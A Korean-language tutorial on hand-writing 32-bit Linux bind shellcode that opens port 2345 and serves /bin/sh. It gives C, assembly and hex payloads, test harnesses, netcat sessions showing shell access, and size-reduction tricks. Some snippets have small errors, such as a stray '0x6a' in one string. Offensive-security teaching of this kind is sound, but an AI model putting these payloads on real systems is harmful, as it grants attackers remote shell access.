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Bind Shellcode

C language

다음과 같이 C 코드를 사용해 Port bind 프로그램을 작성 할 수 있습니다.
해당 프로그램을 이용해 지정된 Port를 사용 할 수 있습니다.
- socket() 함수를 이용해 통신에 필요한 Socket 생성이 필요합니다.
- bind() 함수를 이용해 server socket에 필요한 정보를 저장하고 커널에 등록합니다.
- listen() 함수를 이용해 클라이언트로 부터 연결 요청을 기다립니다.
- accept() 함수를 이용해 클라이언트 연결을 허용합니다.

#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
 
int main(void){
	int server_sockfd, client_sockfd;
	struct sockaddr_in server_addr, client_addr;
	socklen_t client_addr_size;
 
	server_sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
 
	server_addr.sin_family = AF_INET;			// IPv4 인터넷 프로토롤 
	server_addr.sin_port = htons(2345);		// 사용할 port 번호는 2345
	server_addr.sin_addr.s_addr = INADDR_ANY;	// 32bit IPV4 주소
 
	bind(server_sockfd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr));
 
	listen(server_sockfd, 4);
 
	client_addr_size = sizeof(struct sockaddr_in);
	client_sockfd = accept(server_sockfd, (struct sockaddr *)&client_addr, &client_addr_size);
}

Check system call number

Assembly code를 작성하기 위해 Assembly code에서 네트워크 관련함수를 호출하는 방법을 알아야 합니다.
네트워크 관련 함수를 호출하기 위해 "__NR_socketcall" System call을 사용합니다.

lazenca0x0@ubuntu:~$ cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h|grep socketcall
#define __NR_socketcall 102
lazenca0x0@ubuntu:~$

socketcall 시스템 함수는 다음과 같은 형태를 가집니다.
- 첫번째 인자에는 호출할 네트워크 함수의 콜 번호를 전달 합니다.
- 두번째 인자에는 호출한 네크워크 함수의 인자 값들이 저장된 인자 배열의 주소 값을 전달합니다.

int socketcall(int call, unsigned long *args);

"__NR_socketcall"을 이용하여 네트워크 관련 함수를 호출하기 위해 아래 헤더 파일을 참조합니다.
- 즉, 해당 값들은 socketcall 시스템 함수의 첫번째 인자 값이 됩니다.

#define SYS_SOCKET	1		/* sys_socket(2)		*/
#define SYS_BIND	2		/* sys_bind(2)			*/
#define SYS_CONNECT	3		/* sys_connect(2)		*/
#define SYS_LISTEN	4		/* sys_listen(2)		*/
#define SYS_ACCEPT	5		/* sys_accept(2)		*/
#define SYS_GETSOCKNAME	6		/* sys_getsockname(2)		*/
#define SYS_GETPEERNAME	7		/* sys_getpeername(2)		*/
#define SYS_SOCKETPAIR	8		/* sys_socketpair(2)		*/
#define SYS_SEND	9		/* sys_send(2)			*/
#define SYS_RECV	10		/* sys_recv(2)			*/
#define SYS_SENDTO	11		/* sys_sendto(2)		*/
#define SYS_RECVFROM	12		/* sys_recvfrom(2)		*/
#define SYS_SHUTDOWN	13		/* sys_shutdown(2)		*/
#define SYS_SETSOCKOPT	14		/* sys_setsockopt(2)		*/
#define SYS_GETSOCKOPT	15		/* sys_getsockopt(2)		*/
#define SYS_SENDMSG	16		/* sys_sendmsg(2)		*/
#define SYS_RECVMSG	17		/* sys_recvmsg(2)		*/
#define SYS_ACCEPT4	18		/* sys_accept4(2)		*/
#define SYS_RECVMMSG	19		/* sys_recvmmsg(2)		*/
#define SYS_SENDMMSG	20		/* sys_sendmmsg(2)		*/

System-specific socket constants

Assembly code를 작성하기 전에 C 코드에서 사용된 소켓 상수들이 실제로 어떤 값을 가지는지 알아야 합니다.

Constants	Description	Value of constants
PF_LOCAL, AF_UNIX	같은 시스템 내에서 프로세스 끼리 통신합니다.	1
PF_INET, AF_INET	IPv4 인터넷 프로토콜을 사용합니다.	2
PF_INET6	IPv6 인터넷 프로토콜을 사용합니다.	10
PF_PACKET	Low level socket 을 인터페이스를 이용합니다.	17
SOCK_STREAM	TCP/IP 프로토콜을 이용합니다.	1
SOCK_DGRAM	UDP/IP 프로토콜을 이용합니다.	2
IPPROTO_IP	TCP 용 더미 프로토콜	0

아래와 같이 각 header 파일에서 상수의 실제 값을 확인 할 수 있습니다.

lazenca0x0@ubuntu:~$ cat /usr/include/linux/in.h | grep IPPROTO_IP
  IPPROTO_IP = 0,		/* Dummy protocol for TCP		*/
#define IPPROTO_IP		IPPROTO_IP
  IPPROTO_IPIP = 4,		/* IPIP tunnels (older KA9Q tunnels use 94) */
#define IPPROTO_IPIP		IPPROTO_IPIP
  IPPROTO_IPV6 = 41,		/* IPv6-in-IPv4 tunnelling		*/
#define IPPROTO_IPV6		IPPROTO_IPV6
lazenca0x0@ubuntu:~$

lazenca0x0@ubuntu:~$ cat /usr/include/bits/socket_type.h |grep SOCK_STREAM
  SOCK_STREAM = 1,		/* Sequenced, reliable, connection-based
#define SOCK_STREAM SOCK_STREAM
lazenca0x0@ubuntu:~$

lazenca0x0@ubuntu:~$ cat /usr/include/bits/socket.h |grep PF_INET
#define PF_INET		2	/* IP protocol family.  */
#define PF_INET6	10	/* IP version 6.  */
#define AF_INET		PF_INET
#define AF_INET6	PF_INET6
lazenca0x0@ubuntu:~$

Assembly code

다음과 같이 앞에서 확인한 정보를 이용하여 Shellcode를 작성 할 수 있습니다.
- 다른 장에서 설명한 내용을 바탕으로 아래 코드를 작성 할 수 있습니다.
- 주의할 점을 다음과 같습니다.
  - 함수 호출 후 리턴되는 값 들은 EAX 레지스터에 저장됩니다.
  - 해당 코드에서 Client socket 정보를 사용하지 않을 것이기 때문에 accept() 함수에 전달되는 client_addr, client_addr_size의 값은 Null(0)으로 전달합니다.
  - Port 번호는 Stack에 저장 할 때 Little-endian format으로 저장해야 합니다.
    - 2345 -> 0x0929 -> 0x2909

BITS 32
 
;socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
push BYTE 102		; socketcall의 시스템 콜 번호 102를 Stack에 저장합니다.
pop eax				; Stack에 저장된 시스템 콜 번호를 EAX 레지스터에 저장합니다.
cdq               	; EDX 레지스터에 DWORD 크기의 Null byte를 저장합니다.
push dword 1				; socket 함수의 호출 번호 1을 Stack에 저장합니다.
pop ebx				; socketcall() 함수의 1번째 인자(EBX 레지스터)값으로 SYS_SOCKET(1)을 저장 합니다.
;두번째 인자에 전달할 인자 배열을 생성 
push edx			; socket() 함수의 3번째 인자 값 0을 Stack에 저장합니다.
push BYTE 1			; socket() 함수의 2번째 인자 값 SOCK_STREAM(1)을 Stack에 저장합니다.
push BYTE 2			; socket() 함수의 1번째 인자 값 PF_INET(2)을 Stack에 저장합니다.
mov ecx, esp		; socketcall() 함수의 2번째 인자(ECX 레지스터)값으로 인자 배열의 시작 주소값(ESP 레지스터)을 저장 합니다.
int 0x80

;server_sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
mov esi,eax			; 소켓 함수로 부터 리턴받은 값을 ESI 레지스터에 저장합니다.
 
;bind(server_sockfd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr));
push BYTE 0x66		; socketcall의 시스템 콜 번호 102를 Stack에 저장합니다.
pop eax				; Stack에 저장된 시스템 콜 번호를 EAX 레지스터에 저장합니다.
inc ebx				; EBX 레지스터에 1이 저장되어 있으며, INC 명령어를 이용해 2로 변경합니다.
					; 이로 인해 socketcall() 함수의 1번째 인자 값으로 SYS_BIND(2)를 저장하게 됩니다.
;struct sockaddr_in server_addr
push edx			; server_addr.sin_family = AF_INET; 
push WORD 0x2909	; server_addr.sin_port = htons(2345);
push WORD bx		; server_addr.sin_addr.s_addr = INADDR_ANY;
;인자에 전달된 값을 저장
mov ecx,esp			; ECX레지스터에 server_addr 구조체의 시작 주소를 저장합니다.
push BYTE 16		; bind() 함수의 3번째 인자 값 16을 Stack에 저장합니다.
push ecx			; bind() 함수의 2번째 인자 값 &server_addr을 Stack에 저장합니다.
push esi			; bind() 함수의 1번째 인자 값 server_sockfd를 Stack에 저장합니다.
mov ecx, esp		; socketcall() 함수의 2번째 인자 값을 ECX 레지스터에 저장 합니다.
int 0x80
 
;listen(server_sockfd, 4)
mov BYTE al,0x66	;
inc ebx
inc ebx				; EBX 레지스터에 2가 저장되어 있기 때문에 inc 명령어를 2번 호출하여 4로 변경합니다.
					; 이로 인해 socketcall() 함수의 1번째 인자 값으로 SYS_LISTEN(4)를 저장하게 됩니다.
push ebx			; listen() 함수의 2번째 인자 값 4를 Stack에 저장합니다.
push esi			; listen() 함수의 1번째 인자 값 server_sockfd를 Stack에 저장합니다.
mov ecx, esp		; socketcall() 함수의 2번째 인자 값을 ECX 레지스터에 저장 합니다.
int 0x80

;accept(server_sockfd, (struct sockaddr *)&client_addr, &client_addr_size)
;c = accept(s,0,0)
mov BYTE al, 0x66	;
inc ebx				; socketcall() 함수의 1번째 인자 값으로 SYS_ACCEPT(5)를 저장하게 됩니다.
push edx			; bind() 함수의 3번째 인자 값 0을 Stack에 저장합니다.
push edx			; bind() 함수의 2번째 인자 값 Null을 Stack에 저장합니다.
push esi			; bind() 함수의 1번째 인자 값 server_sockfd를 Stack에 저장합니다.
mov ecx, esp		; socketcall() 함수의 2번째 인자 값을 ECX 레지스터에 저장 합니다.
int 0x80			;

Test program

#include<stdio.h>
#include<string.h>

unsigned char shellcode [] = "0x6a\x66\x58\x99\x6a\x1\x5b\x52\x6a\x1\x6a\x2\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x2e\x16\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
    (*(void(*)()) code)();
}

다음과 같이 해당 프로그램에 의해 2345 port가 오픈되었습니다.
- & 를 이용해 프로그램을 백그라운드에서 실행하였습니다.
- netstat 명령어를 이용하여 해당 프로그램이 오픈한 Port를 확인할 수 있습니다.

lazenca0x0@ubuntu:~/Shell$ gcc -o pb -fno-stack-protector -z execstack --no-pie -m32 pb.c
lazenca0x0@ubuntu:~/Shell$ ./pb &
[1] 64826
lazenca0x0@ubuntu:~/Shell$ Shellcode len : 59
lazenca0x0@ubuntu:~/Shell$ netstat -ntlp |grep pb
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 0.0.0.0:2345            0.0.0.0:*               LISTEN      64826/pb  
lazenca0x0@ubuntu:~/Shell$

Bind Shellcode(Socket + "/bin/sh")

C language

앞에서 네트워크 함수를 이용해 Port를 오픈하였으며, 아래 코드를 추가해 오픈된 Port로 입력,출력 그리고 "/bin/sh"를 이용할 수 있습니다.

#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
 
int main(void){
	...
	client_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);

	dup2(client_sockfd, 0);
	dup2(client_sockfd, 1);
	dup2(client_sockfd, 2);
 
	char *argv[] = { "/bin/sh", NULL};
	execve( "/bin/sh", argv, NULL );
}

dup2 함수는 파일 디스크립터를 복제합니다.
- newfd 파일 디스크립터를 oldfd 파일 디스크립터에 복제합니다.
- 쉽게 설명하면 newfd 파일 디스크립터를 oldfd 파일 디스크립터에 링크한다고 생각하면 됩니다.
- 즉, 이 함수를 이용해 클라이언트가 입력,출력을 사용 할 수 있습니다.
  - 표준 스트림인 표준입력(stdin), 표준 출력(stdout), 표준에러(stderr)을 client_sockfd에 복제

int dup2 (int oldfd , int newfd );

Check system call number

다음과 같이 dup2 함수의 시스템 콜 번호는 63입니다.

lazenca0x0@ubuntu:~/Shell$ cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h|grep dup2
#define __NR_dup2 63
lazenca0x0@ubuntu:~/Shell$

Assembly code

BITS 32
 
;s = socket(2,1,0)
;bind(s, [2, 31337, 0], 16)
;listen(s, 0)
;c = accept(s,0,0)
...코드 생략...

;dup2(client_sockfd, 0)
mov ebx, eax 		; accept() 함수로 부터 리턴받은 파일 디스크립터를 EBX레지스터에 저장합니다.
push BYTE 0x3F		; socketcall의 시스템 콜 번호 63를 Stack에 저장합니다.
pop eax				; Stack에 저장된 시스템 콜 번호를 EAX 레지스터에 저장합니다.
xor ecx, ecx		; dup2() 함수의 2번째 인자 값을 표준입력(0)으로 변경합니다.
int 0x80			; 

;dup2(client_sockfd, 1)
mov BYTE al, 0x3F	; socketcall의 시스템 콜 번호 63를 AL 레지스터에 저장합니다.
inc ecx				; dup2() 함수의 2번째 인자 값을 표준출력(1)으로 변경합니다.
int 0x80			;
 
;dup2(client_sockfd, 2)
mov BYTE al, 0x3F	; socketcall의 시스템 콜 번호 63를 AL 레지스터에 저장합니다.
inc ecx				; dup2() 함수의 2번째 인자 값을 표준에러(2)으로 변경합니다.
int 0x80			;

;execve( "/bin/sh", argv, NULL );
mov BYTE al, 11		; execve() 시스템 함수의 콜 번호 11을 EAX레지스터에 저장합니다.
push edx			; 문자열의 끝을 알리기 위해 Null을 먼저 Stack에 저장합니다.
push 0x68732f2f		; 문자 "//sh"를 Stack에 저장합니다. Little-endian
push 0x6e69622f		; 문자 "/bin"를 Stack에 저장합니다. Little-endian
mov ebx, esp		; execve() 함수의 1번째 인자값으로 ESP 레지스터의 값을 저장합니다.
push edx			; Stack에 Null을 저장합니다.
mov edx, esp		; execve() 함수의 3번째 인자값으로 Null이 저장된 배열의 주소(ESP)를 저장합니다.
push ebx			; Stack에 "/bin//sh" 문자의 시작주소(EBX)를 저장합니다.
mov ecx, esp		; execve() 함수의 2번째 인자값으로 배열의 주소(ESP,["/bin//sh",Null],[Null])를 저장합니다.
int 0x80			;

Test program

#include<stdio.h>
#include<string.h>

unsigned char shellcode [] = "\x6A\x66\x58\x99\x6A\x01\x5b\x52\x6A\x01\x6A\x02\x89\xe1\xcd\x80\x89\xc6\x6A\x66\x58\x43\x52\x66\x68\x2E\x16\x66\x53\x89\xe1\x6A\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x6a\x3f\x58\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x0b\x52\x68//shh/bin\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
    (*(void(*)()) code)();
}

다음과 같이 해당 프로그램을 이용해 원격에서 "/bin/sh" 프로그램을 사용할 수 있습니다.

lazenca0x0@ubuntu:~/Shell$ gcc -o portbindsh -fno-stack-protector -z execstack --no-pie -m32 portbindsh.c
lazenca0x0@ubuntu:~/Shell$ ./portbindsh &
[1] 65488
lazenca0x0@ubuntu:~/Shell$ Shellcode len : 101
lazenca0x0@ubuntu:~/Shell$ nc localhost 2345
id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
exit
[1]+  Done                    ./portbindsh
lazenca0x0@ubuntu:~/Shell$

Smaller Shellcode - Call dup2()

Branch Control Structure (CMP Instructions)

다음 조건문들을 이용하여 dup2() 함수를 호출하는 코드의 크기를 줄일 수 있습니다.
- 다음 조건문들은 CMP 명령어 다음에 사용되는 조건부 점프 명령어들 입니다.

Instructions	Meaning
cmp <Dest operand>, <Src operand >	대상 피연산자가 소스 피연산자를 비교해 조건부 점프 명령어가 사용할 플래그를 설정합니다.
je <Operand>	CMP 명령어의 대상 피연산자와 소스 피연산자가 같으면 목적으로 점프 합니다.
jne <Operand>	CMP 명령어의 대상 피연산자와 소스 피연산자가 같지 않으면 점프 합니다.
jl <Operand>	CMP 명령어의 대상 피연산자가 소스 피연산자 보다 작으면 점프 합니다.
jle <Operand>	CMP 명령어의 대상 피연산자가 소스 피연산자 보다 작거나 같으면 점프 합니다.
jnl <Operand>	CMP 명령어의 대상 피연산자가 소스 피연산자 보다 작지 않으면 점프 합니다.
jnle <Operand>	CMP 명령어의 대상 피연산자가 소스 피연산자 보다 작거나 같지 않으면 점프 합니다.
jg <Operand>	CMP 명령어의 대상 피연산자가 소스 피연산자 보다 큰 경우 점프 합니다.
jge <Operand>	CMP 명령어의 대상 피연산자가 소스 피연산자 보다 크거나 같으면 점프 합니다.
jng <Operand>	CMP 명령어의 대상 피연산자가 소스 피연산자 보다 크지 않으면 점프 합니다.
jnge <Operand>	CMP 명령어의 대상 피연산자가 소스 피연산자 보다 크거나 같지 않으면 점프 합니다.

C language & Assembly code

다음과 같이 반복문을 구현해 코드의 크기를 줄일 수 있습니다.

for(int i=0;i <= 2;i++){
	dup2(client_sockfd,i)
}

CMP, JLE 명령어를 이용해 C language와 동일한 반복문을 구현합니다.

;dup2(connected socket,{all three standard I/O file descriptors})
mov ebx,eax			; accept() 함수로 부터 리턴받은 파일 디스크립터를 EBX레지스터에 저장합니다.
xor eax, eax    	; EAX 레지스터를 0으로 초기화 합니다.(시스템 콜 번호)
xor ecx, ecx    	; ECX 레지스터를 0으로 초기화 합니다.(dup2 함수의 2번째 인자값)
dup2_call:
	mov BYTE al, 0x3F   ; dup2 함수의 시스템 콜 번호(63)를 AL 레지스터에 저장합니다.
	int 0x80            ; 
	inc ecx				; dup2 함수의 2번째 인자값을 증가(+1) 시킵니다.
	cmp BYTE cl, 2  	; dup2 함수의 2번째 인자값과 2 를 비교합니다.
	jle dup2_call       ; dup2 함수의 2번째 인자값이 2 보다 작거나 같으면 dup2_call로 점프 합니다.

Test program

#include<stdio.h>
#include<string.h>

unsigned char shellcode [] = "\x6a\x66\x58\x99\x6a\x1\x5b\x52\x6a\x1\x6a\x2\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x9\x29\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc0\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x2\x7e\xf6\xb0\xb\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
    (*(void(*)()) code)();
}

다음과 같이 Shellcode의 길이가 98 byte로 줄어들었습니다.
- 앞에서 작성한 Port bind Shellcode의 길이는 101 byte 입니다.

lazenca0x0@ubuntu:~/Shell$ gcc -o jle -fno-stack-protector -z execstack --no-pie -m32 jle.c
lazenca0x0@ubuntu:~/Shell$ ./jle &
[1] 65593
lazenca0x0@ubuntu:~/Shell$ Shellcode len : 98
lazenca0x0@ubuntu:~/Shell$ nc localhost 2345
id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
exit
[1]+  Done                    ./jle
lazenca0x0@ubuntu:~/Shell$

Branch Control Structure (Zero Flag, Sign Flag)

아래 명령어들은 앞에서 설명한 명령어들에 비해 사용되는 위치가 자유롭습니다.
- 해당 명령어들은 Zero Flag, Sign Flag의 값에 의해 점프 여부가 결정됩니다.

약어	이름	설명
ZF	제로 플래그(Zero Flag)	연산 결과가 0이면 참(1)
SF	부호 플래그(Sign Flag)	연산 결과가 음수이면 참(1)

Instructions	Meaning
jz <Operand>	제로 플래그가 참이면 Operand로 점프 합니다.
jnz <Operand>	제로 플래그가 거짓이면 Operand로 점프 합니다.
js <Operand>	부호 플래그가 참이면 Operand로 점프합니다.
jns <Operand>	부호 플래그가 거짓이면 Operand로 점프합니다.

JZ vs JE

JE 명령어는 일반적으로 CMP 명령어 뒤에서 사용되며, JZ 명령어는 JE 명령어 보다 위치가 자유롭습니다.
- CMP 명령어 대신 DEC 명령어를 사용해 값을 감소 시켜서 음수가 되도록합니다.
- CMP 명령어 대신 DEC 명령어를 사용함으로써 코드의 길이가 줄어듭니다.

Assembly code

Hex

cmp cl, 2

jle FunctionName;

"\x80\xF9\x02\x0F\x8E\xFC\xFF\xFF\xFF"

dec ecx

jns FunctionName;

"\x49\x0F\x89\xFC\xFF\xFF\xFF"

C language & Assembly code

다음과 같이 반복문을 구현해 코드의 크기를 줄일 수 있습니다.

for(int i=2;i < 0;i--){
	dup2(client_sockfd,i)
}

DEC, JNS 명령어를 이용해 C language와 동일한 반복문을 구현합니다.

;dup2(connected socket,{all three standard I/O file descriptors})
mov ebx,eax			; accept() 함수로 부터 리턴받은 파일 디스크립터를 EBX레지스터에 저장합니다.
xor eax, eax		; EAX 레지스터를 0으로 초기화 합니다.(시스템 콜 번호)
push BYTE 0x2  		; Stack에 2 저장합니다.
pop ecx				; ECX 레지스터에 2으로 저장 합니다.(dup2 함수의 2번째 인자값)
dup2_call:
	mov BYTE al, 0x3F	; dup2 함수의 시스템 콜 번호(63)를 AL 레지스터에 저장합니다.
	int 0x80			; 
	dec ecx				; dup2 함수의 2번째 인자값을 감소(-1) 시킵니다.
	jns dup2_call		; 부호 플래그가 거짓(0)이면 dup2_call로 점프 합니다.

Test program

#include<stdio.h>
#include<string.h>

unsigned char shellcode [] = "\x6a\x66\x58\x99\x6a\x1\x5b\x52\x6a\x1\x6a\x2\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x9\x29\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc0\x6a\x2\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\xb\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
    (*(void(*)()) code)();
}

다음과 같이 Shellcode의 길이가 96 byte로 줄어들었습니다.

lazenca0x0@ubuntu:~/Shell$ gcc -o jns -fno-stack-protector -z execstack --no-pie -m32 jns.c
lazenca0x0@ubuntu:~/Shell$ ./jns &
[1] 65763
lazenca0x0@ubuntu:~/Shell$ Shellcode len : 96
lazenca0x0@ubuntu:~/Shell$ nc localhost 2345
id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
exit
[1]+  Done                    ./jns
lazenca0x0@ubuntu:~/Shell$

xchg Instruction

해당 명령어는 두 피연산자가 가지고 있는 값을 서로 교환하는 명령어 입니다.

xchg <Dest operand>, <Src operand>

해당 예제를 실행하면 XCHG 명령어에 의해 EAX 레지스터에는 3이, EBX 레지스터에는 2가 저장됩니다.

mov eax, 2
mov edx, 3
xchg eax, edx

해당 명령어를 이용해 accept() 함수로 부터 리턴받은 파일 디스크립터를 EBX레지스터에 저장하는 코드의 길이를 줄일 수 있습니다.

mov ebx,eax xor eax, eax	"\x89\xC3\x31\xC0"
xchg eax,ebx	"\x93"

Assembly code

;dup2(connected socket,{all three standard I/O file descriptors}

xchg eax,ebx		; accept() 함수로 부터 리턴받은 파일 디스크립터를 EBX레지스터에 저장하고, EAX레지스터 초기화를 위해 파일 디스크립터(0x00000005)를 EAX 레지스터에 저장합니다.
push BYTE 0x2  		; Stack에 2 저장합니다.
pop ecx				; ECX 레지스터에 2으로 저장 합니다.(dup2 함수의 2번째 인자값)
dup2_call:
	mov BYTE al, 0x3F	; dup2 함수의 시스템 콜 번호(63)를 AL 레지스터에 저장합니다.
	int 0x80			; 
	dec ecx				; dup2 함수의 2번째 인자값을 감소(-1) 시킵니다.
	jns dup2_call		; 부호 플래그가 거짓(0)이면 dup2_call로 점프 합니다.

Test program

#include<stdio.h>
#include<string.h>

unsigned char shellcode [] = "\x6a\x66\x58\x99\x6a\x1\x5b\x52\x6a\x1\x6a\x2\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x9\x29\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x2\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\xb\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
    (*(void(*)()) code)();
}

다음과 같이 Shellcode의 길이가 93 byte로 줄어들었습니다.
- 이러한 방법들을 이용하여 코드의 크기를 더 줄일 수 있습니다.

lazenca0x0@ubuntu:~/Shell$ gcc -o xchg -fno-stack-protector -z execstack --no-pie -m32 xchg.c
lazenca0x0@ubuntu:~/Shell$ ./xchg &
[1] 65793
lazenca0x0@ubuntu:~/Shell$ Shellcode len : 93
lazenca0x0@ubuntu:~/Shell$ nc localhost 2345
id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
exit
[1]+  Done                    ./xchg
lazenca0x0@ubuntu:~/Shell$

List

Bind Shellcode

C language

Check system call number

System-specific socket constants

Assembly code

Test program

Bind Shellcode(Socket + "/bin/sh")

C language

Check system call number

Assembly code

Test program

Smaller Shellcode - Call dup2()

Branch Control Structure (CMP Instructions)

C language & Assembly code

Test program

Branch Control Structure (Zero Flag, Sign Flag)

JZ vs JE

C language & Assembly code

Test program

xchg Instruction

Assembly code

Test program

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